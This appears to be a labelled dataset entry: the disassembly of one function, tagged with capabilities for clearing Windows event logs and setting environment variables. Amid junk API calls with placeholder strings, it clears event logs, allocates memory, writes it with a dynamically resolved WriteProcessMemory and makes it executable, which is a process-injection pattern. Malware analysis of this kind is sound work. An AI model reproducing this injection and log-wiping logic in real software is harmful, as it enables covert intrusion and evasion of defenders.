Function at 0x40319d
Capabilities:
Access the windows event log
Clear windows event logs
Set environment variable

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0xc8
mov rax, qword [0x004cc250]
mov qword [rsp + 0x118], rdx
cmp dword [rax], 0x83f
mov qword [rsp + 0x110], rcx
mov qword [rsp + 0x120], r8
mov qword [rsp + 0x128], r9
jle 0x403772
mov r10, qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x48], r10
call r10
xor edx, edx
mov r13, qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
xor ecx, ecx
call r13
mov rdi, qword [sym.imp.KERNEL32.dll_GetFileType]
xor ecx, ecx
call rdi
mov ecx, 0xe871306
call fcn.00413350
mov rsi, qword [0x004cc1b0]
mov dword [rsi], eax
mov rax, qword [0x004cc350]
mov dword [rax], 0x5fbb2b04
mov rax, qword [0x004cbcd0]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cbcc0]
mov rbx, qword [sym.imp.KERNEL32.dll_GetBinaryTypeA]
lea rcx, str.Et_ab_est_omnis_blanditiis_in_perferendis_quasi
mov dword [rdx], eax
xor edx, edx
call rbx
mov r11, qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
xor ecx, ecx
mov qword [rsp + 0x40], r11
call r11
xor edx, edx
mov rbp, qword [sym.imp.KERNEL32.dll_PurgeComm]
xor ecx, ecx
call rbp
mov rsi, qword [sym.imp.ADVAPI32.dll_RegFlushKey]
xor ecx, ecx
call rsi
mov rax, qword [0x004cc2d0]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cbc20]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call rbp
xor edx, edx
lea rcx, str.CortezOConner
call rbx
mov rax, qword [0x004cc3d0]
mov r9, qword [sym.imp.KERNEL32.dll_SetCommBreak]
xor ecx, ecx
mov rbx, qword [0x004cc080]
mov eax, dword [rax]
mov qword [rsp + 0x30], r9
mov dword [rbx], eax
call r9
mov rax, qword [0x004cc240]
xor ecx, ecx
mov dword [rax], 0xf68234fe
mov rax, qword [0x004cc060]
mov dword [rax], 0x284cee38
call qword [sym.imp.KERNEL32.dll_SetLastError]
lea r8, str.AshlynnRussel
xor edx, edx
xor ecx, ecx
mov r12, qword [sym.imp.KERNEL32.dll_OpenEventA]
call r12
mov r14, qword [sym.imp.KERNEL32.dll_FindNextStreamW]
xor edx, edx
xor ecx, ecx
call r14
mov rax, qword [0x004cbd60]
xor ecx, ecx
mov dword [rax], 0xaf5ed7e6
mov rax, qword [0x004cbd40]
mov dword [rax], 0x944cd5c3
mov rax, qword [0x004cc160]
mov edx, dword [rax]
mov rax, qword [0x004cbe60]
mov dword [rax], edx
mov rax, qword [0x004cc2c0]
mov dword [rax], 0xd0c6aaa2
call rsi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov rsi, qword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
lea rdx, str.Fugiat_voluptas_molestias_odit_non_perspiciatis_rerum
lea rcx, str.Veritatis_cumque_odit_dolores_quia_soluta
call rsi
mov rax, qword [0x004cbc00]
mov ecx, 0x440d825c
mov edx, dword [rax]
mov rax, qword [0x004cc1c0]
mov dword [rax], edx
call fcn.00413350
mov rdx, qword [0x004cc1b0]
mov dword [rdx], eax
mov rax, qword [0x004cbed0]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cbe10]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call r13
lea r8, str.NorbertWunsch
xor edx, edx
xor ecx, ecx
call r12
mov r9, qword [rsp + 0x30]
xor ecx, ecx
call r9
mov rax, qword [0x004cc110]
xor ecx, ecx
mov r15, qword [0x004cc4b0]
lea rdx, str.NicolaSanford
mov eax, dword [rax]
mov dword [r15], eax
call qword [sym.imp.ADVAPI32.dll_ClearEventLogA]
mov r8, qword [0x004cbc30]
mov ecx, 0x5bbc4533
mov r13, qword [0x004cc230]
mov rax, qword [0x004cc430]
mov edx, dword [r8]
mov dword [rax], edx
mov eax, dword [r13]
mov rdx, qword [0x004cc390]
mov dword [rdx], eax
call fcn.00413350
mov rdx, qword [0x004cc440]
mov ecx, 0x92382a91
mov dword [rdx], eax
call fcn.00413350
mov rdx, qword [0x004cbec0]
xor ecx, ecx
mov dword [rdx], eax
mov eax, dword [r13]
mov rdx, qword [0x004cc090]
mov dword [rdx], eax
xor edx, edx
call r14
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetLargestConsoleWindowSize]
mov ecx, 0x6a0fe04f
call fcn.00413350
mov rdx, qword [0x004cbbd0]
mov ecx, 0x600aca1f
mov dword [rdx], eax
call fcn.00413350
xor ecx, ecx
mov dword [r15], eax
call qword [sym.imp.KERNEL32.dll_FlushConsoleInputBuffer]
mov ecx, 0xf9c0c521
call fcn.00413350
mov rdx, qword [0x004cbe80]
mov ecx, 0x1c96d4bf
mov dword [rdx], eax
call fcn.00413350
mov rdx, qword [0x004cbd90]
mov r11, qword [rsp + 0x40]
xor ecx, ecx
mov dword [rdx], eax
call r11
mov rax, qword [0x004cc390]
mov ecx, 0x8152cef6
mov edx, dword [rax]
mov rax, qword [0x004cc380]
mov dword [rax], edx
call fcn.00413350
xor ecx, ecx
mov dword [rbx], eax
call rdi
mov r15, qword [0x004cbd70]
mov r9, qword [rsp + 0x30]
xor ecx, ecx
mov rax, qword [0x004cbdf0]
mov edx, dword [r15]
mov dword [rax], edx
mov rax, qword [0x004cbe30]
mov rdx, qword [0x004cbbf0]
mov eax, dword [rax]
mov dword [rdx], eax
call r9
mov r8, qword [0x004cbc30]
xor edx, edx
xor ecx, ecx
mov dword [r8], 0xd7f5b933
call r14
mov rax, qword [0x004cc100]
xor r8d, r8d
xor edx, edx
mov r10, qword [rsp + 0x48]
xor ecx, ecx
mov dword [rax], 0xb0d481ff
call r10
mov ecx, 0xbe901e3c
call fcn.00413350
mov rdx, qword [0x004cbc60]
mov ecx, dword [rbx]
mov dword [rdx], eax
mov rax, qword [0x004cbc50]
mov rdx, qword [0x004cc1b0]
mov eax, dword [rax]
mov dword [rdx], eax
call fcn.00413350
lea r8, str.Culpa_fugit_magnam_illo_qui_dolores
xor edx, edx
xor ecx, ecx
mov dword [r13], eax
mov rax, qword [0x004cc090]
mov r13, qword [0x004cc4a0]
mov eax, dword [rax]
mov dword [r13], eax
call r12
mov ecx, 0xf960a661
call fcn.00413350
mov rdx, qword [0x004cc050]
mov r14, qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
lea rcx, str.ProfBerryOConner
mov dword [rdx], eax
mov rax, qword [0x004cc2b0]
xor edx, edx
mov dword [rax], 0xd4b08f36
call r14
mov rax, qword [0x004cc2e0]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cbbe0]
mov dword [rax], edx
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov r12, qword [0x004cc0d0]
mov ecx, dword [r12]
call fcn.00413350
mov rdx, qword [0x004cbbd0]
mov ecx, 0x55fa25ee
mov dword [rdx], eax
call fcn.00413350
mov rdx, qword [0x004cbea0]
lea rcx, str.MarjolaineKessler
mov dword [rdx], eax
lea rdx, str.Voluptatem_qui_corrupti_temporibus_necessitatibus_qui
call rsi
mov rax, qword [0x004cc3e0]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0xef3b1cd6
call rbp
mov ecx, 0x189e607a
call fcn.00413350
mov rdx, qword [0x004cc0e0]
xor ecx, ecx
mov dword [rdx], eax
call rdi
mov ecx, 0x416afaff
call fcn.00413350
mov rdx, qword [0x004cc0b0]
mov ecx, dword [rbx]
mov dword [rdx], eax
call fcn.00413350
mov rdx, qword [0x004cbd80]
mov ecx, 0x36e96dff
mov dword [r13], 0x19530f4b
mov dword [rdx], eax
call fcn.00413350
xor ecx, ecx
mov dword [r15], eax
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [0x004cbcf0]
mov ecx, dword [rax]
call fcn.00413350
mov rdi, qword [0x004cc450]
lea rdx, str.BransonWalterIII
lea rcx, str.ReneeLuettgenI
mov dword [rdi], eax
call rsi
mov rax, qword [0x004cbcb0]
mov ecx, 0x3ac7e18a
mov edx, dword [rax]
mov rax, qword [0x004cbe70]
mov dword [rax], edx
call fcn.00413350
mov rdx, qword [0x004cbeb0]
mov ecx, 0xac59077f
mov dword [rdx], eax
mov rax, qword [0x004cbd50]
mov edx, dword [rax]
mov rax, qword [0x004cbda0]
mov dword [rax], edx
mov rax, qword [0x004cbec0]
mov edx, dword [rax]
mov rax, qword [0x004cc300]
mov dword [rax], edx
call fcn.00413350
mov dword [rbx], 0xda4577db
xor ecx, ecx
mov rbx, qword [sym.imp.ADVAPI32.dll_ImpersonateNamedPipeClient]
mov dword [r12], eax
mov rax, qword [0x004cbbf0]
mov dword [rax], 0x9656c2b9
mov rax, qword [0x004cc180]
mov dword [rax], 0x40d3f4b3
call rbx
mov rax, qword [0x004cc1f0]
xor edx, edx
lea rcx, str.Et_quia_et_non_laudantium_odit_ut_ipsam_quisquam_voluptatum_recusandae_ea_aperiam
mov eax, dword [rax]
mov dword [rdi], eax
mov rax, qword [0x004cc3a0]
mov dword [rax], 0xe1322843
call r14
xor ecx, ecx
call rbx
mov rax, qword [0x004cc330]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cc320]
mov ecx, 0x2880c1e1
mov dword [rdx], eax
call fcn.00413350
mov rdx, qword [0x004cc480]
mov dword [rdx], eax
mov rax, qword [rsp + 0x128]
mov dword [rsp + 0x20], 4
xor edx, edx
mov r9d, 0x1000
mov rcx, qword [rsp + 0x110]
lea r8, [rax + 0x80]
call fcn.0041152c
mov qword [rsp + 0x40], rax
mov rax, qword [0x004cc250]
cmp dword [rax], 0x527d
jne 0x403d84
mov rax, qword [0x004cbdd0]
mov rbx, qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
xor edx, edx
lea rcx, str.Numquam_non_ad_et_et_doloribus_voluptatibus
mov dword [rax], 0x4438e760
call rbx
mov rax, qword [0x004cbdf0]
mov ecx, dword [rax]
call fcn.00413350
mov rdi, qword [0x004cc330]
mov rsi, qword [0x004cbd90]
xor ecx, ecx
mov dword [rdi], eax
mov rax, qword [0x004cbe30]
mov eax, dword [rax]
mov dword [rsi], eax
mov rax, qword [0x004cbd70]
mov dword [rax], 0x8d014b28
mov rax, qword [sym.imp.KERNEL32.dll_SetCommBreak]
mov qword [rsp + 0x30], rax
call rax
lea r8, str.Quidem_et_dolorem_distinctio
xor edx, edx
xor ecx, ecx
mov rsi, qword [sym.imp.KERNEL32.dll_OpenEventA]
call rsi
xor ecx, ecx
mov rax, qword [rsp + 0x30]
call rax
mov r12, qword [sym.imp.KERNEL32.dll_SetEvent]
xor ecx, ecx
call r12
mov rax, qword [0x004cbc40]
mov ecx, 0xc3c9f569
mov dword [rax], 0xc3e3cca6
mov rax, qword [0x004cc320]
mov dword [rax], 0x82d976e0
call fcn.00413350
mov rdx, qword [0x004cc100]
lea rcx, str.ClairCummings
mov dword [rdx], eax
mov rax, qword [sym.imp.KERNEL32.dll_GetBinaryTypeA]
xor edx, edx
mov qword [rsp + 0x48], rax
call rax
mov rax, qword [0x004cc3b0]
mov rdx, qword [0x004cc3d0]
xor ecx, ecx
mov r10, qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov dword [rdi], 0xbdb1b2c2
mov eax, dword [rax]
mov qword [rsp + 0x68], r10
mov dword [rdx], eax
mov rax, qword [0x004cc310]
mov dword [rax], 0x83f7654b
mov rax, qword [0x004cbdd0]
mov dword [rax], 0xfa0968d
call r10
mov r15, qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
xor ecx, ecx
call r15
mov r9, qword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
lea rdx, str.AhmadTurner
lea rcx, str.DelphiaDach
mov qword [rsp + 0x60], r9
call r9
mov rbp, qword [sym.imp.KERNEL32.dll_GetFileType]
xor ecx, ecx
call rbp
xor ecx, ecx
call r12
mov rax, qword [0x004cc150]
xor ecx, ecx
mov dword [rax], 0x2040bb87
mov rax, qword [sym.imp.KERNEL32.dll_FlushConsoleInputBuffer]
mov qword [rsp + 0x50], rax
call rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov r13, qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
call r13
mov rax, qword [0x004cc130]
xor ecx, ecx
mov dword [rax], 0x982f02f
mov rax, qword [rsp + 0x30]
call rax
mov rax, qword [0x004cc4d0]
lea rcx, str.Ut_quae_quod_necessitatibus_asperiores_dolorum_officiis_aliquid_officia
mov edx, dword [rax]
mov rax, qword [0x004cc080]
mov dword [rax], edx
xor edx, edx
call rbx
mov r14, qword [sym.imp.KERNEL32.dll_SetLastError]
xor ecx, ecx
call r14
mov rax, qword [0x004cbcc0]
mov rdi, qword [0x004cc090]
lea rcx, str.ProfCharityVonRuedenMD
mov dword [rax], 0xdbeefd3f
mov rax, qword [0x004cc1f0]
mov dword [rax], 0x4df1d6bc
mov rax, qword [0x004cc340]
mov edx, dword [rax]
mov rax, qword [0x004cc2f0]
mov dword [rax], edx
mov rax, qword [0x004cbc70]
lea rdx, str.Iste_consequatur_incidunt_sequi_facere_et_ex_iusto_neque_recusandae
mov eax, dword [rax]
mov dword [rdi], eax
mov rdi, qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
call rdi
mov rax, qword [0x004cc3c0]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cc160]
mov ecx, 0x78e7f87b
mov dword [rdx], eax
mov rax, qword [0x004cc0c0]
mov dword [rax], 0xe9560c4f
call fcn.00413350
mov rdx, qword [0x004cbba0]
mov ecx, 0x3ec49dea
mov dword [rdx], eax
call fcn.00413350
mov rdx, qword [0x004cbd60]
lea rcx, str.KyraTremblay
mov dword [rdx], eax
xor edx, edx
call rbx
mov r12, qword [sym.imp.KERNEL32.dll_GetLargestConsoleWindowSize]
xor ecx, ecx
call r12
xor ecx, ecx
call r15
mov rax, qword [0x004cc410]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cc180]
mov dword [rax], edx
mov rax, qword [0x004cbc40]
mov dword [rax], 0x6cef7ea4
mov rax, qword [0x004cbba0]
mov edx, dword [rax]
mov rax, qword [0x004cbc10]
mov dword [rax], edx
mov rax, qword [0x004cc090]
mov edx, dword [rax]
mov rax, qword [0x004cc490]
mov dword [rax], edx
call r14
mov r11, qword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
mov rax, qword [0x004cc1c0]
xor ecx, ecx
mov qword [rsp + 0x58], r11
mov dword [rax], 0x301d1d12
call r11
xor ecx, ecx
call rbp
mov rax, qword [0x004cc160]
mov dword [rax], 0xb8268877
mov rax, qword [0x004cc170]
mov ecx, dword [rax]
call fcn.00413350
mov rcx, qword [0x004cbd70]
xor r8d, r8d
xor edx, edx
mov dword [rcx], eax
xor ecx, ecx
call r13
mov r15, qword [sym.imp.ADVAPI32.dll_ClearEventLogA]
xor ecx, ecx
lea rdx, str.ProfMireilleHalvorsonPhD
call r15
lea rdx, str.MissBurniceBuckridgePhD
xor ecx, ecx
call r15
xor ecx, ecx
mov r15, qword [sym.imp.ADVAPI32.dll_RegFlushKey]
call r15
xor edx, edx
lea rcx, str.MrsCheyenneRempel
mov rax, qword [rsp + 0x48]
call rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
xor edx, edx
lea rcx, str.Natus_voluptatem_illum_quas_accusamus
call rbx
mov rax, qword [0x004cbda0]
xor ecx, ecx
mov dword [rax], 0xfb234c3b
mov rax, qword [rsp + 0x50]
call rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call r13
lea r8, str.FrancesHill
xor edx, edx
xor ecx, ecx
call rsi
xor edx, edx
lea rcx, str.Perferendis_placeat_distinctio_et_et_autem_reprehenderit_est_accusamus
call rbx
lea r8, str.Aperiam_in_placeat_aut_est
xor edx, edx
xor ecx, ecx
call rsi
mov rax, qword [0x004cbcf0]
mov rdx, qword [0x004cc3c0]
lea rcx, str.AmirHanePhD
mov eax, dword [rax]
mov dword [rdx], eax
lea rdx, str.Est_totam_est_ut_quod_error
call rdi
mov rax, qword [0x004cc3b0]
mov ecx, 0xf7b51661
mov dword [rax], 0x9482fcbf
call fcn.00413350
mov rcx, qword [0x004cc100]
mov dword [rcx], eax
mov rax, qword [0x004cc090]
lea rcx, str.AlvaVeumSr
mov edx, dword [rax]
mov rax, qword [0x004cbe50]
mov dword [rax], edx
lea rdx, str.Dolore_amet_vitae_atque_et_sit
call rdi
mov rax, qword [0x004cbce0]
xor edx, edx
xor ecx, ecx
lea r8, str.ReinholdHeller
mov dword [rax], 0x461ba193
mov rax, qword [0x004cbe00]
mov dword [rax], 0x97cd3adc
call rsi
mov rax, qword [0x004cbd90]
mov r10, qword [rsp + 0x68]
xor ecx, ecx
mov dword [rax], 0x9d9bac39
mov rax, qword [0x004cbba0]
mov dword [rax], 0x3bbd3f4
call r10
mov rax, qword [0x004cc0b0]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cc2c0]
xor ecx, ecx
mov r13, qword [sym.imp.ADVAPI32.dll_ImpersonateNamedPipeClient]
mov dword [rdx], eax
call r13
xor edx, edx
lea rcx, str.MrClintonWalsh
mov rax, qword [rsp + 0x48]
call rax
xor ecx, ecx
call r14
xor edx, edx
lea rcx, str.Alias_quisquam_est_at_odio_et_sint_quia_similique_illo_possimus_et
call rbx
mov rax, qword [0x004cbdd0]
mov rbx, qword [sym.imp.KERNEL32.dll_PurgeComm]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cbd00]
mov dword [rax], edx
mov rax, qword [0x004cc3d0]
xor edx, edx
mov dword [rax], 0x2f50c430
call rbx
xor ecx, ecx
call r15
xor ecx, ecx
call rbp
xor edx, edx
xor ecx, ecx
mov r14, qword [sym.imp.KERNEL32.dll_FindNextStreamW]
call r14
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call rax
mov rax, qword [0x004cc120]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cc4a0]
mov dword [rax], edx
xor edx, edx
call r14
xor ecx, ecx
call r13
mov rax, qword [0x004cc1f0]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cc2d0]
mov dword [rax], edx
mov rax, qword [0x004cc0a0]
mov dword [rax], 0xa264a574
call r12
xor ecx, ecx
call r12
lea rdx, str.MattBernhard
lea rcx, str.MelisaPollich
call rdi
xor edx, edx
xor ecx, ecx
call rbx
lea rdx, str.Minus_animi_fugit_aut_repellat
lea rcx, str.DrJakaylaVolkman
call rdi
lea r8, str.Totam_nemo_delectus_hic_aperiam_dignissimos_eum_nihil
xor edx, edx
xor ecx, ecx
call rsi
mov rax, qword [0x004cbe10]
mov rbx, qword [0x004cbec0]
lea rdx, str.MrsNevaQuigleyPhD
mov rsi, qword [0x004cc170]
mov r9, qword [rsp + 0x60]
lea rcx, str.Iure_voluptates_explicabo_illum_nulla_consequatur_laborum
mov eax, dword [rax]
mov dword [rbx], 0x2b5330e6
mov dword [rsi], eax
call r9
mov r11, qword [rsp + 0x58]
xor ecx, ecx
call r11
xor ecx, ecx
call r13
mov rax, qword [0x004cbd20]
mov rsi, qword [0x004cc3c0]
xor ecx, ecx
mov dword [rbx], 0xd300dcbc
mov eax, dword [rax]
mov dword [rsi], eax
call rbp
mov rax, qword [rsp + 0x30]
xor ecx, ecx
call rax
lea rdx, str.WriteProcessMemory
lea rcx, [0x004bf276]
call fcn.0040fab1
lea rdx, [rsp + 0xb8]
mov r9, qword [rsp + 0x128]
mov r8, qword [rsp + 0x120]
mov qword [rsp + 0x20], rdx
mov rcx, qword [rsp + 0x110]
mov rdx, qword [rsp + 0x40]
call rax
mov rax, qword [rsp + 0x128]
cmp qword [rsp + 0xb8], rax
jne 0x40535d
mov rax, qword [0x004cc250]
cmp dword [rax], 0xa1f
jle 0x4042a1
mov r12, qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
lea rdx, str.Dolores_perspiciatis_rerum_quae_aliquid_in_soluta_iusto_quod
lea rcx, str.Doloremque_qui_recusandae_quos_ut_ut_illo_tempora_laborum
call r12
xor r8d, r8d
mov rdi, qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
xor edx, edx
xor ecx, ecx
call rdi
mov rax, qword [0x004cc2e0]
mov rbx, qword [sym.imp.KERNEL32.dll_FlushConsoleInputBuffer]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cbcf0]
mov dword [rax], edx
call rbx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextStreamW]
mov r14, qword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
xor ecx, ecx
call r14
mov rsi, qword [0x004cc190]
mov rax, qword [0x004cbd30]
mov ecx, dword [rsi]
mov dword [rax], 0xb43ee4c4
call fcn.00413350
mov rdx, qword [0x004cbe00]
xor r8d, r8d
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call rdi
mov rax, qword [0x004cbd70]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cbe20]
mov dword [rax], edx
call rbx
mov ecx, 0xddc951d2
call fcn.00413350
mov rdx, qword [0x004cbbf0]
xor ecx, ecx
mov dword [rsi], 0x91fde7c0
mov rbp, qword [sym.imp.KERNEL32.dll_SetCommBreak]
mov dword [rdx], eax
call rbp
mov rsi, qword [0x004cbee0]
mov r9, qword [sym.imp.ADVAPI32.dll_ClearEventLogA]
xor ecx, ecx
mov rax, qword [0x004cc180]
mov edx, dword [rsi]
mov qword [rsp + 0x50], r9
mov dword [rax], edx
lea rdx, str.Velit_doloremque_a_in_distinctio_minus
call r9
mov rax, qword [0x004cc3e0]
xor edx, edx
mov r11, qword [sym.imp.KERNEL32.dll_GetBinaryTypeA]
lea rcx, str.ProfJeffryStroman
mov eax, dword [rax]
mov qword [rsp + 0x48], r11
mov dword [rsi], eax
mov rax, qword [0x004cbd60]
mov dword [rax], 0xb7a3e97c
call r11
mov rsi, qword [sym.imp.KERNEL32.dll_SetLastError]
xor ecx, ecx
call rsi
xor edx, edx
lea rcx, str.Odit_nihil_ullam_tempore_qui_qui_nisi
call qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
mov r15, qword [sym.imp.KERNEL32.dll_GetFileType]
xor ecx, ecx
call r15
mov ecx, 0x64300e92
call fcn.00413350
mov rcx, qword [0x004cc320]
mov r13, qword [sym.imp.KERNEL32.dll_GetLargestConsoleWindowSize]
mov dword [rcx], eax
xor ecx, ecx
call r13
xor ecx, ecx
call r14
mov rax, qword [0x004cbca0]
mov ecx, 0xd78c8212
mov dword [rax], 0x9e9e44e2
call fcn.00413350
mov rdx, qword [0x004cc4a0]
xor ecx, ecx
mov dword [rdx], eax
call rbx
mov rax, qword [0x004cbbc0]
mov ecx, 0x2b801c6a
mov dword [rax], 0x405b0527
mov rax, qword [0x004cbcc0]
mov dword [rax], 0x5c663964
mov rax, qword [0x004cc320]
mov dword [rax], 0xa31ae9a2
call fcn.00413350
mov rdx, qword [0x004cbbf0]
mov dword [rdx], eax
mov rax, qword [0x004cc1e0]
mov ecx, dword [rax]
call fcn.00413350
mov r14, qword [0x004cc310]
mov rdx, qword [0x004cc360]
lea rcx, str.MaritzaFay
mov dword [rdx], eax
lea rdx, str.Illo_dolor_aut_maxime_totam_officia_architecto_odio_hic_eos_maiores_quaerat_veniam_maiores
mov dword [r14], 0x7453d946
call r12
xor ecx, ecx
call rsi
mov rax, qword [0x004cc440]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cc220]
mov dword [rax], edx
call r13
mov r10, qword [sym.imp.KERNEL32.dll_SetEvent]
xor ecx, ecx
mov qword [rsp + 0x30], r10
call r10
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rdi
mov rax, qword [0x004cc2d0]
mov r13, qword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
lea rcx, str.Aut_quas_et_iste_reiciendis_earum
mov edx, dword [rax]
mov rax, qword [0x004cc340]
mov dword [rax], edx
mov rax, qword [0x004cbd60]
mov dword [rax], 0x27db2e95
mov rax, qword [0x004cc0b0]
mov edx, dword [rax]
mov rax, qword [0x004cc380]
mov dword [rax], edx
lea rdx, str.Asperiores_recusandae_cupiditate_aut
call r13
mov r9, qword [rsp + 0x50]
lea rdx, str.StephenOHara
xor ecx, ecx
call r9
xor ecx, ecx
call r15
xor ecx, ecx
call rbp
mov rax, qword [0x004cbd30]
xor ecx, ecx
mov eax, dword [rax]
mov dword [r14], eax
mov rax, qword [0x004cbd10]
mov r14, qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov edx, dword [rax]
mov rax, qword [0x004cc2b0]
mov dword [rax], edx
call r14
mov rax, qword [0x004cc490]
xor ecx, ecx
mov dword [rax], 0xb7f2bc3
mov rax, qword [0x004cbda0]
mov dword [rax], 0x3a696165
call rsi
mov r15, qword [0x004cc400]
lea rdx, str.NovaGerhold
lea rcx, str.DrRemingtonCruickshank
mov dword [r15], 0x7e5ab8a4
call r13
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_ImpersonateNamedPipeClient]
mov rax, qword [0x004cbe10]
xor ecx, ecx
mov dword [rax], 0x2c7a823d
mov rax, qword [0x004cbdf0]
mov dword [rax], 0x50dfbf06
call r14
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rdi
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov rax, qword [0x004cbbd0]
mov ecx, 0x29a4a984
mov edx, dword [rax]
mov rax, qword [0x004cc410]
mov dword [rax], edx
call fcn.00413350
mov rdx, qword [0x004cc1f0]
lea rcx, str.MsLelahDurganJr
mov dword [rdx], eax
mov rax, qword [0x004cc4d0]
lea rdx, str.Aspernatur_totam_aut_fuga_natus_quaerat_quaerat_amet_maxime
mov dword [rax], 0x8079014b
call r13
mov rdi, qword [0x004cbc20]
mov rcx, qword [0x004cc0b0]
mov eax, dword [rdi]
mov dword [rcx], eax
mov rax, qword [0x004cc2f0]
xor ecx, ecx
mov dword [rax], 0x2e66d8a
call r14
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
mov rax, qword [0x004cc440]
xor ecx, ecx
lea r8, str.BreannaAltenwerth
mov r13, qword [sym.imp.KERNEL32.dll_OpenEventA]
mov edx, dword [rax]
mov rax, qword [0x004cc0c0]
mov dword [rax], edx
xor edx, edx
call r13
mov rax, qword [0x004cbcc0]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cc080]
lea rcx, str.Et_quasi_cupiditate_voluptatem_eligendi_quibusdam_accusamus_beatae
mov dword [rdx], eax
mov rax, qword [0x004cc060]
lea rdx, str.Perspiciatis_et_qui_aut_sed_facere
mov eax, dword [rax]
mov dword [rdi], eax
call r12
mov rax, qword [0x004cc450]
mov r10, qword [rsp + 0x30]
xor ecx, ecx
mov dword [rax], 0xa34d5182
call r10
mov rax, qword [0x004cbda0]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cc230]
mov dword [rax], edx
call rbx
mov rdi, qword [0x004cc480]
mov r11, qword [rsp + 0x48]
xor edx, edx
lea rcx, str.ProfGarnettSchadenII
mov dword [rdi], 0xaa56fbfc
call r11
mov rax, qword [0x004cbbe0]
mov ecx, 0xaddec134
mov eax, dword [rax]
mov dword [rdi], eax
call fcn.00413350
xor ecx, ecx
mov dword [r15], eax
call rsi
mov ecx, 0x6160af4a
call fcn.00413350
mov rdx, qword [0x004cbcd0]
mov dword [rdx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
xor ecx, ecx
call rbx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
mov rax, qword [0x004cc300]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cc470]
xor ecx, ecx
lea r8, str.Ut_saepe_nisi_illum
mov dword [rdx], eax
xor edx, edx
call r13
xor ecx, ecx
call rbp
lea rax, [rsp + 0xb4]
mov r8, qword [rsp + 0x128]
mov rdx, qword [rsp + 0x40]
mov r9d, 0x20
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x110]
call fcn.00412409
mov rax, qword [0x004cc250]
cmp dword [rax], 0x5e36
jne 0x404a0d
mov rbp, qword [sym.imp.ADVAPI32.dll_ClearEventLogA]
lea rdx, str.Id_et_error_qui
xor ecx, ecx
call rbp
mov rdi, qword [0x004cc060]
mov ecx, dword [rdi]
call fcn.00413350
mov rdx, qword [0x004cc110]
mov r14, qword [sym.imp.ADVAPI32.dll_RegFlushKey]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004cbd60]
mov edx, dword [rax]
mov rax, qword [0x004cbd30]
mov dword [rax], edx
mov rax, qword [0x004cbc50]
mov edx, dword [rax]
mov rax, qword [0x004cc4d0]
mov dword [rax], edx
call r14
mov rax, qword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
xor ecx, ecx
mov qword [rsp + 0x48], rax
call rax
mov rbx, qword [sym.imp.KERNEL32.dll_GetBinaryTypeA]
xor edx, edx
lea rcx, str.LorenBuckridge
call rbx
xor r8d, r8d
mov r15, qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
xor edx, edx
xor ecx, ecx
call r15
